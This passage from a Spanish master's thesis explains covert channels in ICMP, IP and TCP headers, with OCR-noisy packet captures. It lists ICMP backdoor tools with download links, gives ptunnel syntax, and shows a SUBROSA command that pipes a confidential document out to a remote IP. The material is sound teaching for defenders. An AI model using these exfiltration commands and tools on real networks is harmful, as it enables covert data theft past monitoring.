(Covert Timing Channel), canales ocultos (Side Channel). Sin embargo, algunos autores
plantean que ésta no es una clasificacion correcta y que deberian de utilizarse otras (Rios y
Onieva, 2008).

Canales de almacenamiento
El receptor de la informacion percibe la transmision de dicha comunicacién como un cambio
en el valor de un atributo o recurso compartido. Para tener un canal de almacenamiento, se

deberan cumplir como minimo los siguientes criterios (Kemmerer, 1983):

1. Tanto el proceso receptor como el proceso emisor deben tener acceso al mismo
atributo o recurso compartido.

2. Debe haber algun medio mediante el cual el proceso emisor puede forzar al atributo
compartido a cambiar.

3. Debe haber algun medio mediante el cual el proceso receptor pueda detectar el
cambio en el atributo.

4. Debe haber algun mecanismo para iniciar la comunicacion entre los procesos emisor
y receptor y para la correcta secuenciacion de los eventos. Para ello podria usarse

otro canal de un ancho de banda menor.”
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Ejemplos de dichos canales serian:
« Ciertos campos en la cabecera de los paquetes de red que bien estan en desuso o
que su modificacién no afecta al correcto funcionamiento del protocolo.
* Mediante el uso de zonas de memoria compartida, como bloqueos de ficheros del

disco duro o la modulacion de la ocupacion del espacio de disco.

Canales de temporizacion

Este tipo de canales puede definirse como aquel en el que el receptor de la informacion la
percibe por medio de un cambio en el tiempo requerido por el destinatario para detectar
cierta accion. Para tener un canal de temporizacién, se deberan cumplir como minimo los

siguientes criterios (Kemmerer, 1983):

1. Tanto el proceso receptor como el proceso emisor deben tener acceso al mismo
atributo o recurso compartido.

2. Los procesos emisor y receptor ha de tener acceso a una referencia temporal, tal
como un reloj de tiempo real.

3. El emisor debe ser capaz de modular la respuesta temporal del receptor para
detectar un cambio en el atributo compartido.

4. Hay un mecanismo para iniciar el proceso y para secuenciar los eventos.

Ejemplos de este tipo de canales serian:
¢ Tiempo de uso de la CPU.
+ Tiempo de comienzo de un proceso.

* Demanda de ejecucion de determinada tarea observable por el otro usuario.

Canales ocultos

Los casos en que, al contrario que en los casos previamente mencionados, emisor y
receptor no acuerdan cémo realizar la comunicacion, y el emisor envia informacion que
el receptor debe descubrir como interpretar, se conocen como canales ocultos o side
channel. En estos sistemas el desafio del receptor es descubrir y decodificar el canal oculto
para obtener la informacion. Los canales ocultos mas habituales son aquellos que estan
relacionados con las emanaciones que de forma no intencionada emiten los dispositivos

electronicos.
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Otras clasificaciones
Gligor (1993) propone dos nuevas clasificaciones de los covert channels:

* En funcién de la cantidad de ruido que afecta al canal (fiabilidad del canal):

o Canales sin ruido (Noiseless Channels): los simbolos que son transmitidos por el

emisor son los mismos que los recibidos por el receptor con probabilidad 1.

o Canales con ruido (Noisy Channels): existe cierta probabilidad de que cualquier

simbolo enviado por el emisor sea recibido de manera incorrecta por el receptor.
* En funcion de la cantidad de procesos que se comunican simultaneamente
mediante la utilizacién de zonas de memoria (variables):

o Canales desagrupados (Non-Aggregated Channels): las variables utilizadas para
creacién de un canal encubierto son accedidas unicamente por un par de
procesos, el emisor y el receptor.

o Canales agrupados (Aggregated Channels): creados por varias parejas de
procesos que acceden a un mismo conjunto de variables. Estos pueden ser en

serie (en cola), en paralelo (simultaneos) y mixtos.

Por su parte Rios y Onieva (2008) plantean dos posibles criterios de clasificacion:
* Segun el numero de procesos que intervienen en la comunicacion:

o Canales desagrupados: creados para el envio de informacion entre unicamente
dos equipos de la red.

o Canales agrupados en serie, paralelo o mixtos: aquellos en los que la informacién
transmitida puede ser aprovechada por mas de una pareja de equipos de la red.
* Segun el medio que se utiliza para ocultar la informacion:

o Canales de almacenamiento: utilizan una zona dentro del paquete, bien sea la

cabecera o bien la zona de datos.
= Basados en valor.
= Basados en transicion.

o Canales de temporizacién: Ocultan la informacién en los patrones de llegada de

los paquetes al receptor. La recepcion o no de paquetes esta regida por relojes,

lo cual codifica la informacion.

= Canales de contabilizacion: codifican la informacion en la cantidad de eventos
que tienen lugar durante un determinado periodo de tiempo.

o Canales de ordenacién: aquellos que ocultan la informacion en el orden de

llegada de los paquetes.
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o Canales combinados o hibridos: resultan de la combinacion de las técnicas

empleadas por algunos de los tipos anteriores.

Covert channels en los protocolos de red
Aunque practicamente cualquier protocolo puede ser utilizado como canal encubierto para

transmitir informacién, existen razones practicas para enfatizar algunos en concreto, y es
que la gran mayoria de la investigacion realizada sobre covert channels se ha focalizado en
protocolos de las capas 3 y 4 (Red y Transporte) tales como ICMP, IP y TCP, y protocolos de
la capa 7 (Aplicacién) tales como HTTP y DNS, del modelo de referencia Open System
Interconnection (OSI). El factor principal en Ia seleccién de estos protocolos no es solo
su prevalencia en Internet, sino que también el hecho de que sea practica comun permitir
por defecto su trafico a través de dispositivos de proteccion de red, para permitir

aplicaciones cliente legitimas (Couture, E., 2010).

Tanto los protocolos IP, TCP, UDP como los protocolos a nivel de aplicacién pueden ser
explotados para Covert Channels de tipo almacenamiento y de tipo temporizacién debido
basicamente a:

* Una definicién pobre o indefinicion de los protocolos.

» Cabeceras o porciones del paquete que no se utilizan.

* La conducta inherente del routing basado en el destino.

* Ala conducta de los protocolos a nivel de aplicacién.

Las técnicas para transmitir informacion por medio de covert channels de tipo
almacenamiento son las siguientes (Couture, E.,19 de agosto de 2010):
* Header bit modulation (modulacién de bit de cabecera):
o Lainformacién encubierta puede ser codificada en un bit que no es critico para la
correcta transmision del protocolo del host.
o Ancho de banda de 1 bit.
o Meétodo ineficiente para usos practicos.
* Header bit crafting (confeccién de bit de cabecera):
o La informacion encubierta se codifica en varios bits de la cabecera o incluso en
bytes completos en ciertos casos.
© Ancho de banda de varios bits.

o Meétodo de mayor eficiencia que el “header bit crafting”.
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* Optional header extension (extension opcional de cabecera):

o Se utilizan protocolos que permiten campos de cabecera opcionales, los cuales
son anadidos a la cabecera y disefiados para transportar informacion o
instrucciones adicionales.

o Mayor ancho de banda (bytes).

o Meétodo de mayor eficiencia.

Tabla 2: Ratio de eficiencia tedrica.

Covert Packet .

bytes/packet Size Erficiency
Modulation 1 bit 20 0.63%
Crafting 1 byte 20 5.00%
Hdr Options 100 bytes 260 38.46%

65515 bytes 65535 99 97%

Extraida de Couture, E.,19 de agosto de 2010, pp. 7

A continuacién se exponen ejemplos de Covert Channels que se centran en protocolos de

red, en sus diferentes capas.

Almacenamiento: ICMP protocol
Internet Control Message Protocol (ICMP) es un protocolo que trabaja en la capa 3 del

modelo OSI'y TCP/IP, la capa de red, y que tiene como objetivo el control y la notificacién de
errores, siendo su descripcion detallada en el REC792. ICMP opera en base a datagramas,
de manera similar al protocolo UDP, y por ello no posee mecanismos para el control de

transmisién o garantia de recepcién (Doug, 2008).

Los paquetes ICMP estan encapsulados dentro de los paquetes IP, comenzando la cabecera
ICMP (de 8 bytes) una vez ha finalizado la cabecera IP, correspondiéndose el primer octeto
de la porcion de datos del datagrama al tipo de mensaje ICMP. La cabecera esta formada
por los siguientes campos:

* Type (1byte): Tipo de mensaje.

* Code (1byte): Subtipo.

* Checksum (2 bytes): Para la comprobacion de errores del mensaje.

* Resto de la cabecera (4 bytes): El contenido de este campo depende del tipo de

mensaje.
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Byte
Offset§o, | | [ AN I ERR N TR AR P
0 Type Code Checksum A
L - 1 L 1 - . L - . L L - 1 L - . L L - . L L . 1 - . . L B‘,ies
4 Other message specific information... ¢
o e p———
Bit Y0 1 2 3 4 56 7'89 ;123459 7809 ,1283/456788,1

| nibbie —sf— Byte —o}— word >

ICMP Message Types Checksum
Type CodeMName Type Code/Name Type Code/Name Checksum of ICMP
0 Echo Reply 3 Destination Unreachable [continued) 11 Time Exceded header
3 Destination Unreachable 12 Host Unreachable for TOS 0 TTL Exceeded
0 Net Unreachable 13 Communication Administratively Prohibited 1 Fragment Reassembly Time Exceseded AFC 792
1 Host Unreachable 4 Source Quench 12 Parameter Problem
2 Protocol Unreachable 5 Redirect 0 Pointer Problem
3 Port Unreachable 0 Redirect Datagram for the Network 1 Missing & Required Operand Please refer to RFC
4 Fragmentation required, and DF set 1 Redirect Datagram for the Host 2 Bad Lengih 792 for the Intermet
5 Source Route Failed 2 Redirect Datagram for the TOS & Metwork 13 Timestamp
6 Destination Network Unknown 3 Redirect Datagram for the TOS & Host 14 Timestamp Reply Control Message
7 Destination Host Unknewn 8 Echo 15 Information Fequest prmf}_':ff}l (!CMP)
8 Source Host Isolated 9 Router Advertisement 16 Information Reply specification.
9 Metwork Administratively Prohibited 10 Router Selection 17 Address Mask Reguest
10 Host Administratively Prohibited 18 Address Mask Reply
11 Network Unreachable for TOS 30 Traceroula

Figura 7: Cabecera del protocolo ICMP,
Recuperado de http://anand.prakshal.com/bizFloat/563444244ec0a40c6c8ec327/The-Internet-

Control-Message-Protocol-ICMP-is-one-of-the-main-protocols-of-the-Internet-Protocol-Suite-

It-is-used-by-network-devices-like-routers-to-send-error-messages-indicating-for-example-

that-a-requested-s

A continuacién se procedera a comentar un ejemplo de aplicacion utilizando el tipo de
mensaje ICMP mas conocido y utilizado: echo y echo reply (tipo 8 y 0 respectivamente). La

diferencia entre ambos mensajes es el campo “Type”.

0 1 2 3
0123456789012 3456789012345%678901
+-+-F+-F-F+-F+-F-F-F-F+-F+-F-F+—-F-F-F-F-F-F-F—F—-F-F-F+-F—F-—F+—F+-F+-F+-F+-+—-+
| Type | Code | Checksum
+-+-F+-F-F+-F+-F-F-F-F+-F+-F-F+—-F-F-F-F-F-F-F—F—-F-F-F+-F—F-—F+—F+-F+-F+-F+-+—-+
| Identifier | Sequence Number
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data
+-+-+-+-+-

Figura 8: Cabecera de un mensaje echo / echo reply. RFC 792.

En sistemas Linux (figura 4 de la Figura 9), el campo “Data” del mensaje Echo Request se

rellena con 56 bytes de digitos numéricos. Por contra, en sistemas Windows (figura 6 de la
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Figura 9), se rellena con 32 bytes de caracteres alfanuméricos (Gregg, 2007). Esta variacion
de tamafio nos indica que dependiendo de la implementacion, es posible disponer de
tamanos diferentes, afiadiendo complejidad a la deteccién de la “anomalia” producida a
consecuencia del covert channel. Ademas, en Linux, utilizando el comando ping -p, se
puede introducir informacion arbitraria en la payload. Asimismo, la cantidad maxima de
informacién que puede ser almacenada en el campo de informacion afadida o payload
puede ser calculado como el tamafio maximo de un paquete IP menos las cabeceras de IP e
ICMP: 65535 — 20 — 8 = 65507 bytes.

ao0a0 04 15 &3 &0 50 25 044 1b DB DO 45 OO0 cap T | 4
eo0l0 04 54 f£fc b9 00 0O 40 01 f0 %8 0a 02 Teaaul Y PR
ap20 £4 01 08 @0 0& 2b ea 23 93 65 00 02 FLE LLELLeL.
ao3o 3d b2 08 09 0a 0b Gc ad 12 13 14 15 B waanas

0040 1€ 17 18 13 Ia 1b lc 1d 22 23 24 25 :
a6s0 24 27 28 29 2a b 2c 2d 32 33 34 15 E )=+, =

0060 36 37 sz

Figure 4 - Linux Ping Request

(000 00 lb &3 2 f4 24 00 15 63 40 50 25 08 00 45 €O
0010 00 54 &f =1 OO0 DO ££f 01 57 29 0a 02 £0 01 Ca 02
0020 £0 98 00 00 de 2b 1 00 DO 4b 94 93 B5 00 02
0030 3d b2 08 09 0a Ob 0d Oe OFf 10 11 12 13 14 15
0040 16 17 18 1% la ib 1d le 1f 20 21 22 23 24 15
A0S0 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 3§
00E0 36 37
Figure 5 - Linux Ping Reply

G000 OC 15 63 40 50 25 OC Oc 29 08 Be 57 08 0O 45 OO cépt VooW. E
0010 0% 3c 05 Qa 00 DO 80 01 41 lc Oa 02 £0 95 0a 02 o s Savaaiay
0020 f0 01 08 00 Od 5c 02 G0 3e 00 61 B2 A3 B4 65 66 J|.....%\.. » .abedef
0030 &7 &8 &9 &a 6b 6c €d &e 6f 70 71 72 731 74 75 T8 ghijklmn -_'-p-.;_stu‘.r'
QD40 77 61 62 &3 64 B5 6E 47 68 &9 wabcdafg hi

Figure 6 - Windows Ping Request
0000 00 Oc 29 DB Be 57 00 15 &3 44 50 25 08 0O 0 J).oM.. cépy, 3,
0010 00 3c 70 95 00 DO £f 0 56 3¢ 0a 02 £0 01 PSS - FIPPIPI .
0020 £0 95 Q0 00 15 00 3e 00 61 E2 63 64 65 66 | ..... .. >.abecdaf|
0030 67 €8 &9 6a &b G &L 7O 71 T2 73 T4 7% ghijklmn opgrstuv )
0040 77 €1 52 &3 64 & 67 63 69 wabedafg hi ]

.

Figure 7 - Windows Ping Reply

Figura 9: Comparativa del contenido de la payload en los mensajes Echo y Echo Request.

(Couture, E., 19 de agosto de 2010, p.10)
También cabe destacar, que tal y como se indica en el RFC:792, el contenido del campo de

datos del mensaje ICMP echo debe encontrarse también en el campo de datos del mensaje

ICMP echo reply.
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BEHMMN EEXBEE | Ac0eTL [BEIQAAQED EWB % B s
Fltzr: |i[mp j ESxprassion...  Clear fooly  Save Z'
Source |Destination [Pratozol  Lengtn o f

7:07.952037  172.1A. 173.194.34.31 ICMP T4 Echo (ping) reguest [1d=0x<0200, s=2q=12B00/50, ttl=128
F:07.98411F7 173.194.34.31 172.16. ICMP Td Eche (pingd reply l"ld:OxOZOO, s2q=12B00/50, tt1=51
7:08.954904 172.16. 173.194.34.31 1cMP 74 Echo {ping) reguest 1d=0«0700, segq=11050bs01, ttl=170
708, 9ERE4L 173.194.34.31 172.16.. LCMF T4 Echo (pinal) reply id=0x0200, s=2q=13036/51, ttl=51
7:09.955503  172.1a. 171.194.14.31 IcMP 74 Echo {ping) reguest Ad=0x0200, s=g=13312/52, tt1=128
F:09. SEA095 173.194.34_31  172.16. TCMF Td Echo {pina) reply Td=0%0200, £2q=13312/57, ttl1=51
/F:10.956841L  172.16. 1731.194.34.31 IcMP 74 Echo (ping) request 1d=0x0200, seq=13568/53, ttl=128
Fo10.999715 1731494 34 31 172 16 TCMFE Td Echa (pingl reply Fd=0x0200, s=2q=13568/53, Ttl1=51

Figura 1 I: Captura con Ethereal del envio de mensajes echo request y echo reply.

(Holguin, J. M., Moreno, M., Merino, B.,Mayo 2013, p.158)

Exploit ICMP

Diversas herramientas para llevar a cabo ICMP tunnels se encuentran disponibles de

manera publica, como es el caso de (Couture, 2010):

ptunnel: (http://www.cs.uit.no/~daniels/PingTunnel/). Software de tunelado ICMP

que soporta multiples conexiones concurrentes y autenticacion por contrasefia. Se
puede utilizar tanto en Linux como en Windows.

Loki2: (http://phrack.org/issues/51/6.html). Programa para crear puertas traseras
ICMP. Originalmente lanzado en 1996 en la revista hacker ‘Phrack’.

007Shell: (https://packetstormsecurity.com/groups/sOftpj/007shell.tgz). Aplicacion
similar a Loki, pero que divide cada paquete en multiplos de 64 bytes para que el
tunel parezca ser trafico legitimo.

ICMP Backdoor: (https://packetstormsecurity.com/UNIX/penetration/rootkits/icmp-
backdoor.tar.gz). Programa que solo utiliza paquetes ping reply. Algunos sistemas
IDS lo pueden detectar facilmente debido a que no rellena mensajes cortos ni divide
mensajes largos.

BOCK: (http://www.sOftpj.org/bfi/bfi7.tar.gz). Variante que utiliza mensajes IGMP

multicast para mejorar el trabajo hecho por los creadores de Loki y 007Shell.
También codifica el campo de direcciones para mayor encubrimiento.

Hans: (http://code.gerade.org/hans/). Solucién IP sobre ICMP. Emplea dispositivos

TUN/TAP para, entre otras cosas, poder operar de manera fiable si el firewall

bloquea multiples echo replies por peticidn.

A continuacién se muestra un ejemplo de un caso de covert-channel de almacenamiento de

una comunicacion TCP a través de paquetes ICMP utilizando la aplicacion ptunnel
(Couture, 2010, pp 12-16):
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El laboratorio de prueba para este ejemplo sera como el de la figura 12, mostrada a

continuacion:

Internet

-

E * =P 7" ‘.‘l -Il |-|___FI-| i-:||l-i-1
. WALLELL LLERR AL LA

- Firewall ptunnel/proxy DNS Server
ptunnel client Server ¥ 244 0.3
10.2.240.197 10.2.240.185

Figura 12: Configuracion del laboratorio ptunnel.

(Couture, E.,19 de agosto de 2010, p.10)

El servidor es activado al ejecutar el comando ptunnel desde la linea de comandos. Ademas,
y aunque no sea necesario, se ha habilitado un proxy privoxy en el servidor para redirigir
todo el tréafico recibido hacia Internet. Si el usuario simplemente quisiera acceder a un

recurso local, este Ultimo paso podria ser omitido.

La instancia del tunel se lleva a cabo en el cliente a través del siguiente comando:
#ptunnel -p s/Paddress -lp localport -da localhost -dp destport
Donde:
* -p slPaddress: direccion IP del listener/server.
* -lp localport. puerto local del cliente, a través del cual el trafico sera tunelizado.
« -da localhost: direccion IP de loopback en el servidor para redirigir el trafico al web-

proxy (privoxy).
* -dp destport. puerto de redireccion del web-proxy privoxy del servidor.
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A continuacidon se muestra como se llevaria a cabo, en una terminal de comandos en un

entorno Linux, una comunicacién sencilla (Holguin, J. M. et al., 2013. p.161):

| uxterm - e A

# ptunnel -p

critorio# nc

tunelizado

Figura 13: Como encapsular una comunicacion TCP a través de paquetes ICMP ptunnel.
(Holguin, J. M., Moreno, M., Merino, B.,Mayo 2013, p.161)

Si un analista revisara la comunicacion entre el cliente y el proxy, solo veria paquetes ICMP.

Como se muestra a continuacién, en el campo de datos del paquete ICMP se encuentra la

cadena que se ha introducido en la prueba de concepto:
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File Edit View Go Capture Analyze Statistics Telephony Tools Help

B & 8 EdAXTSe ces¥3F 2 EE QA @EE

Eﬁiter: icmp w | db Expression... %&Ciea[ ij? Apply

No. . Time Source Destination |Protocol | Info [=
1118 156119.53 16.2.2.2 10.2.2.1 ICMP Echo (ping) reply
1119 156120.53 18.2.2.1 10.2.2.2 ICMP Echo (ping) request
1120 156128.53 10.2.2.2 10.2.2.1 ICMP Echo (ping) reply —
1121 156120.53 18.2.2.2 10.2.2.1 ICMP Echo (ping) reply [E
1122 1561208.79 18.2.2.1 10.2.2.2 ICMP Echo (ping) request
1123 156120.79 10.2.2.2 10.2.2.1 ICMP Echo (ping) reply
1126 156121.54 18.2.2.1 10.2.2.2 ICMP Echo (ping) request
1127 156121.54 18.2.2.2 10.2.2.1 ICMP Echo (ping) reply
1128 156121.54 10.2.2.2 10.2.2.1 ICMP Echo (ping) reply
1120 18R122 &4 1A > 2 1 inm2? 22 Trmp Frhn (ninn)l raanact E
oo <
Identification: 0x0000 (0) [=

-

Flags: @x02 (Don't Fragment)
Fragment offset: 0
Time to live: 64
Protocol: ICMP (Bx01)
Header checksum: 0x22ab [correct]
Spurce: 10.2.2.1 (10.2.2.1)
Destination: 10.2.2.2 (18.2.2.2)
< Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: @ ()
Checksum: 8x8709 [correct]
Identifier: Oxdf36
Seguence pumbar. 100 (0LA0eH)
~ Data (48 bytes)
Data: D5 4 A 13...

TEEgTT, o] -

0000 08 80 27 ac c¢9 73 08 00 27 5e 27 6a 08 00 45 @0 §..7..s.. J..E.
0010 00 4c 00 00 40 00 40 81 22 ab 0a 02 02 01 8a 02 | .L..@.@ "
0020 02 82 08 00 87 69 df 36 00 6d d5 20 08 80 @0 @0 . . coo
0030 00 80 00 00 00 60 40 00 00 02 0O 0O 00 6a 0O @O dds coooollon
0040 00 13 00 6d df 36 65 73 74 6f 20 76 61 20 74 75 | ...m.6es to va tu
0050 6e 65 6c 69 7a 61 64 6f Da 0O nelizado ..

-

(| Data (data.data), 48 bytes Packets: 1695 Displayed: 825 Marked: O Dropped: 0 Profile: Default

Figura 14: Paquete ICMP con informacion.
(Holguin, J. M., Moreno, M., Merino, B.,Mayo 2013, p.162)

Para que este encapsulamiento funciones correctamente, el protocolo ping tunnel ha sido
disefiado de manera similar al protocolo TCP/IP, afadiéndole un campo extra denominado
“magic number” (nUmero méagico), que actua como identificador para separar el trafico echo
del trafico echo regular (Doug, 2008).

A continuacion se muestran y describen los campos de la cabecera del protocolo ptunnel
(Stedle, 2005):

Imnch I 1p [ port [ state l ack I'_F_ngll"-[seq I ,.5,-,]' data ... I

Figura 15: Formato de paquete usado para el intercambio de mensajes entre cliente y proxy.

(Stodle, 2005).
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Campos:

Magic: Identificador unico que sirve para diferenciar el trafico Echo modificado del
trafico Echo normal.

IP — Port:: Utilizados unicamente en los paquetes que salen del cliente hacia el
proxy. Indican donde el cliente quiere que los paquetes recibidos sean redirigidos.
Son utilizados, normalmente, solo una vez, cuando el proxy recive el primer mensaje
con el cédigo de estado kProxy_start).

State: Tiene un doble propdsito: Indicar qué tipo de mensaje esta siendo recibido, e
indicar quién envi6 el mensaje.

Length field: Indica la longitud de la porcién de informacién (campo Data) del

m TCP Destination

Figura 16 : Configuracion de la red para el funcionamiento de ptunnel.
(Stodle, 2005).

paquete.
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Covert Channels Storage: IP protocol

El Internet Protocol (IP) forma parte de la suite TCP/IP y su descripcion se encuentra en el
RFC 791. Fue disefiado en 1981 para su uso en sistemas interconectados de redes de
comunicaciones de conmutacién de paquetes, para proveer las funciones necesarias para
enviar un paquete de bits (datagrama de Internet) desde una fuente a un destino a través de

un sistema interconectado de redes.

A continuacién se muestra la cabecera del protocolo IP:

] 1 2 3
01 234567890123 456789012345678¢8901
e s S S e e e s st s T o R S Bk 3

|Version IHL |Type of Service| Total Length

e s S S e e e s st s T o R S Bk 3
| Identification | Flags Fragment Qffset

e s S S e e e s st s T o R S Bk 3
| Time to Live | Protocol | Header Checksum
tot—F—F—F—FF—F-F—F—F—F-F A F—F-F—F-F—F-F—F—F—F—F—F—F—F—F—F—F+—F+—+
| Source Address
tot—F—F—F—FF—F-F—F—F—F-F A F—F-F—F-F—F-F—F—F—F—F—F—F—F—F—F—F+—F+—+
| Destination Address
tot—F—F—F—FF—F-F—F—F—F-F A F—F-F—F-F—F-F—F—F—F—F—F—F—F—F—F—F+—F+—+
| Options Padding
tot—F—F—F—F-F—F-F—F—F—F-F—F-F—F-F—F-F—F-F—F-F—F-F—F—F—F—F—F—F+—F+—+

Figura 17: Cabecera del protocolo IP. RFC791

Thyer (2008) nos muestra que es posible utilizar la cabecera del protocolo IP a modo de

covert channel para transmitir informacion.

Una de las técnicas que demuestran la posibilidad de crear un Covert Channel consiste en
utilizar el campo Identification de la cabecera (IPID) para transmitir informacién (Holguin, J.
M. et al., 2013. p.163). Este campo, conformado por 16 bits, es un valor identificativo
asignado por el emisor para ayudar en el ensamblado de los fragmentos de un datagrama.
Lo que convierte a este campo en objetivo para la creacion de covert channels, es que

cuando los paquetes no se fragmentan, se puede interpretar como se considere.
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Exploit IP

Para llevar a cabo una demostracion acerca del uso de la cabecera IP para la creacion de

covert channels, Thyer (2008) escribié un programa conocido como SUBROSA, el cual a su

vez esta basado en el programa conocido como covert_tcp (Rowland, 1996), y se puede

descargar desde la pagina web del propio Thyer: hitp://www.packetheader.net/.

Caracteristicas de SUBROSA (Thyer, 2008, pp.10-11):

Escrito en lenguaje C.

Implementado utilizando los raw sockets del kernel de Linux.

Cadifica informacion ASCII dentro de cabeceras del protocolo IP y envia paquetes IP
que imitan trafico de red legitimo.

Evita el uso de campos reservados de cabecera facilmente detectables.

Utiliza campos de cabecera con valores vagamente definidos y sujetos a
interpretacion.

Implementa cifrado simétrico para ofuscar la informacién, ya que la informacion
codificada en ASCII podria ser detectada como comunicaciones anormales.
Necesita privilegios root para manipular y enviar paquetes de informacion de
cabecera modificados.

Utilizando la opcién “-w” haremos que la transferencia de paquetes sea aleatoria en
el tiempo, para evitar con ello que los sensores de monitorizacion alerten por la

cantidad de paquetes de un tipo en un rango de tiempo determinado.

A continuacién se muestra una prueba de concepto (Holguin, J. M. et al., 2013. p.163-164):

1.

Envio de una cadena de texto desde Cliente (emisor) a Servidor (destinatario):
o Comandos (Thyer, 2008, pp.12):
= Cliente# subrosa -sSourcelP DestinationtIP destinationPort
datos
=  Servidor# subrosa -sSourcelP -IpLocalport
datos
El puerto del emisor, a no ser que se especifique con “-p”, es escogido de

manera aleatoria con un valor superior a 1024.
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* Prueba de Concepto (Holguin, J. M. et al., 2013. p.163-164):
o En la primera imagen (figura 18) se aprecia como el cliente envia la parte “ho”

de la cadena “hola”, que es el mensaje a transmitir con el receptor:

L Capturing from ethl - Wireshark A
Ble Edit Miew Go Capture Analyze Statistics Telephony Jools Help

SBEee BAXe: aer¥TF 2 EE-

5] Filter: | tep.port == 80 w | 4k Expression...

No. . Time Source Destination | Protocol | Info

1 8.088888 10.2.2.1 18.2.2.2 TCP 6679 > http [SYN] Seq=8 Win
2 8.001184 @. 2.2 8.2.2. C http = 6679 [RST, ACK

5 8.820518 18.2.2.1 TCP BB3Z2 > http [5YN] Seq=8 Win

2
1 http > 8832 [RST, ACK] Seq=
.2 TP 37664 > http [SYN] Seq=0 Wi
. -

2 2
Cliente 90.646911 10.2.2.1 16.2.

Version: 4
Header length: 28 bytes
b Differentiated Services Field: BxB8 [DSCP 8x80: Default; ECN: Gx088)
Total Length: 48
fidentification: 8x686f (26735) |
b Flags: L
Fragment offset: @

BBEE 08 B8 c9 73 08 88 27 S5e 27 Ga BB 60 45 00 -E.
0816 @@ 28|68 6f)be 66 46 86 fa 5a Ba 62 82 @1 Oa B2
ge2e 82 e2"Id B8 58 44 6b ©0 0O B0 80 BD B0 30 B2 P.

Servidor 8838 ©2 8P 37 6a 00 60

0,221 -1pd0

i@ ethl: <live capture in progress= ... || Packets: 39 Displ Profile: Default

Figura 18: Ejemplo de envio en el campo IPID, fragmento “ho”.
(Holguin, J. M., Moreno, M., Merino, B.,Mayo 2013, p.163)

Deteccién de APT con herramientas de seguridad de caracter libre

43



Master Universitario en Seguridad Informatica Luis Besteiro Calvo

o En la segunda imagen el trozo enviado se corresponde con la cadena “la”. En
ambas la informacién se encuentra en el campo identificacion de la cabecera

IP.

]

File Edit View Go Capture Analyze Statistics Telephony Tools Help
S EaXcos e yTF EIEE -
EFUter: tcp.port == 80 w | gk Expression...

Cllente No. . Time Source Destination |Protocol |Info

.B000R0  18.2.2. 10.2.2.2 TCP 6679 > http [SYN] Seq=0 Win:
1 http > 6679 [RST,

2 TCP 8832 > http [SYN] Seq=0 Wim
ol C| http > 8832 [R!

2 TCP 37664 > http [SYN] Seq=0 Wi
1 http > 37664 [RST, ACK] Seg

.020518 10.

.840911 18.

2
2
2
.2,
2
0.0841993 2

Version: 4
Header length: 28 bytes
b Differentiated Services Field: 0x00 (DSCP 0x08: Default; ECN: 08x00)

gth- 46
Frcentitication: exocel (27745) |

b Flags: 0x00

- Fragment offset: @ -
Servidor ;
0000 88 00_27 ac c9 73 08 00 27 S5e 27 ba 08 00 45 00 R T
0010 @8 28J6c 61§06 06 48 B6 f6 68 Ga 02 B2 A1 Ba B2 .@. heoll
0020 82 02 80 60 50 44 Bb 00 BB 60 0O 88 6O 50 02 LoPDL LR

0030 82 80 2f 01 060 00 R

@/ ethl: <live capture in progress> Fi... || Packets: 44 Displ... || Profile: Default

Figura 19: Ejemplo de envio de informacion, fragmento “la”.
(Holguin, J. M., Moreno, M., Merino, B.,Mayo 2013, p.163)

2. Extraccion de un documento confidencial:

o Comandos:
= (Cliente # cat documento_confidencial.doc | ./subrosa -sSourcelP

DestinationlIP destinationPort
= Servidor # ./subrosa -sSourcelP -lpLocalPort >

documento_confidencial.doc.
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Covert Channels Storage: TCP protocol

El Transport Control Protocol (TCP) es descrito en el RFC793, enfocado en la robustez en la
presencia de irregularidades e indisponibilidad en las comunicaciones, y disefiado para

encajar en una jerarquia por capas de protocolos.

A continuaciéon se muestra la cabecera del protocolo TCP:

0 1 2 3
0123245678595 0123456789012234567859801
e s e e R e s A S e e e Nt et s R
| Source Port | Destination Port

e e T B R R R o ke e e B e R e A e Tt ok ek e o e s
| Sequence Number |
R s e e S Tl it T T e e e e s . et ks st s Tt
| Acknowledgment Number |
e e T B R R R o ke e e B e R e A e Tt ok ek e o e s
| Data | |u|a|p|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I] Window |
| | |G|K[H[T|N|N| |
Fot—F—F ot —FFF—F-FF—F—FF-F-FF—F—FF—F-FF—F—F—F-F—F—F—F+—+—+
| Checksum | Urgent Pointer
e R i et e T A . Tt Tt et e I S RS
| Options | Padding |
Fot—F—F—F-F-F—F-F-F—F—F-F-F-F-F -+ F—F—F-F-F-F-F—F-F—F-F -+ -+ -+ —+-+
| data |
e s e e R e s A S e e e Nt et s R

Figura 20: Cabecera del protocolo TCP. RFC793.

Algunas de las técnicas utilizadas para llevar a cabo la implementacién de covert-channels
sobre el protocolo TCP consisten en:
» Utilizar los campos “Sequence Number’ o “Acknowledgment Number’ (Rowland,
1997).
* Explotar los “ptype handlers del kernel de Linux” para crear covert channels pasivos
(PCC), utilizando el programa NUSHU cuyo cédigo fuente se encuentra en el articulo
“The Implementation of Passive Covert Channels in the Linux Kernel’ (Rutkowska, J.,
2004).

A continuacién se muestra un ejemplo donde un equipo esta sacando informacion a través

del puerto 80 escondida en el campo “Numero de Secuencia” de la cabecera TCP con la

Deteccién de APT con herramientas de seguridad de caracter libre 45



Master Universitario en Seguridad Informatica Luis Besteiro Calvo

herramienta covert_tcp (Holguin et al., 2013. p.165-166), cuyo cédigo fuente se encuentra

como anexo en el articulo “Covert Channels in the TCP/IP Protocol Suite” (Rowland, C. H.,
1997) :

kd Capturing from ethl - Wireshark CIIES
File Edit View Go Capture Analyze Statistics Telephony Tools Help

Gow EAXDc e ¥TF T EE -

Izﬁ_lter: tcp.port == 80 w | gk Expression...
No. . Time Source Destination |Protocol |Info
[ 9 2.804129 18.2.2.2 10.2.2.1  TCP 33826 > http [SYN, CWR] Seqd
10 2.804206 10.2.2.1 10.2.2.2 TCP http > 33826 [SYN, ACK] Seg=
B0 0BoB0d 0Boflodh Seq=1 Win|
14 3.804381 10.2.2.2 10.2.2.1 TCP 60702 > http [SYN, CWR] Seg=
15 3.804522 10.2.2.1 10.2.2.2 TCP http > 60702 [SYN, ACK] Seg=
8 3. .2.2.2 0&odloll, g Seq=1 Win|
19 4.805361 10.2.2.2 10.2.2.1 TCP 20996 > http [SYN, CWR] Seg=
